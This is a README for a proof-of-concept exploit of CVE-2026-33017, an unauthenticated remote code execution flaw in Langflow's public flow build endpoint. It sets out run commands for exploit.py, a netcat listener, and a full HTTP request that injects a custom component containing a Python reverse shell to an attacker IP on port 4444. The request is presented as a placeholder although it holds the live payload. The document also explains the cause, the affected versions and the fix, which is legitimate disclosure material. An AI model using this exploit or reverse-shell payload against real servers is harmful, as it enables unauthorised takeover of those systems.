
Proof-of-concept exploit for CVE-2026-33017, an unauthenticated RCE in Langflow's build_public_tmp endpoint, injecting a malicious custom component to gain a reverse shell.
★ CVE-2026-33017 Langflow Remote Code Execution PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Use the following commands to build and run the vulnerable Langflow environment:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
After starting the vulnerable Langflow instance, run the PoC with the target URL, the Public flow ID, and the attacker callback address.
Option A — use your own listener:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Option B — use the built-in listener with --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| Option | Description |
|---|---|
--url | Target Langflow server URL |
--flow-id | UUID of the shared Public flow |
--lhost | Attacker callback IP |
--lport | Attacker callback port |
--listen | Run the built-in listener instead of an external nc |
CVE-2026-33017 is a Remote Code Execution (RCE) vulnerability in the Public flow build process of Langflow, an open-source platform for visually building LLM applications and AI workflows.
By sending crafted flow data to thebuild_public_tmpendpoint without authentication, an attacker can cause arbitrary Python code to be executed on the server.
CVE-2026-33017 affects the following Public flow build endpoint in Langflow, an open-source platform for visually creating LLM applications and AI workflows.
POST /api/v1/build_public_tmp/{flow_id}/flow
A Public flow in Langflow is designed to be shared with other users through a link or similar mechanism.
To support this feature, the build endpoint prepares the flow for execution without requiring authentication by reading the flow's nodes, edges, and settings, then constructing the internal execution graph needed to run it.
The issue was that vulnerable versions of build_public_tmp accepted not only the stored Public flow information on the server, but also the data field supplied in the request body.
This data field could contain the entire flow definition, including:
As a result, an attacker could use an unauthenticated request to inject an entirely attacker-controlled flow structure instead of relying on the legitimate Public flow stored on the server.
A particularly dangerous part of this design is the Custom Component feature.
In Langflow, a component represents an individual functional block responsible for tasks such as input handling, model invocation, or output generation. A custom component is an extensible block that allows users to define its behavior directly in Python code.
An attacker could therefore embed a custom component containing malicious Python code inside the crafted data object, and the server would process it as if it were a normal part of the flow. As a result, the injected code could be parsed and executed during the build or execution process, ultimately leading to remote code execution.
| Category | Version |
|---|---|
| Vulnerable | Langflow prior to 1.9.0 |
| Patched | Langflow 1.9.0 and later |
The GitHub Security Advisory lists the affected range as
<= 1.8.2, but the fix — removal of thedataparameter — landed in 1.9.0. All releases before 1.9.0 (including 1.8.3 / 1.8.4) are therefore affected, which is why the CVE Record states< 1.9.0.
Successful exploitation of this vulnerability may allow an attacker to take control of the Langflow server and carry out follow-on actions such as:
The following PoC demonstrates CVE-2026-33017 on Langflow 1.8.1.
The attacker first identifies the flow_id of a target Public flow.

The attacker sends a build_public_tmp request that injects a custom component whose Python code is executed on the server during the temporary build. In the request below, the code value is left as a placeholder — insert the payload yourself (see the note under the request).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
During the build process, the code embedded in the custom component is executed on the server. When the reverse shell variant (automated by exploit.py) is used, a connection is established back to the attacker's listener, giving the attacker an interactive shell to run arbitrary commands on the server.

Although build_public_tmp was intended to build Public flows, vulnerable versions still accepted a data field directly from the request body.
Because of this design, attacker-supplied data was passed directly into the server-side build logic, and any Python code embedded in a custom component was handled as though it were part of a legitimate flow.
As a result, an attacker did not need to rely on the original Public flow stored on the server. Instead, they could inject an entirely malicious flow definition of their own, including code that could be executed on the server.
After the patch, build_public_tmp no longer accepts externally supplied data.
In other words, the path that previously allowed attackers to inject an entire flow definition through the request body was removed, which also prevented arbitrary code execution through malicious custom components.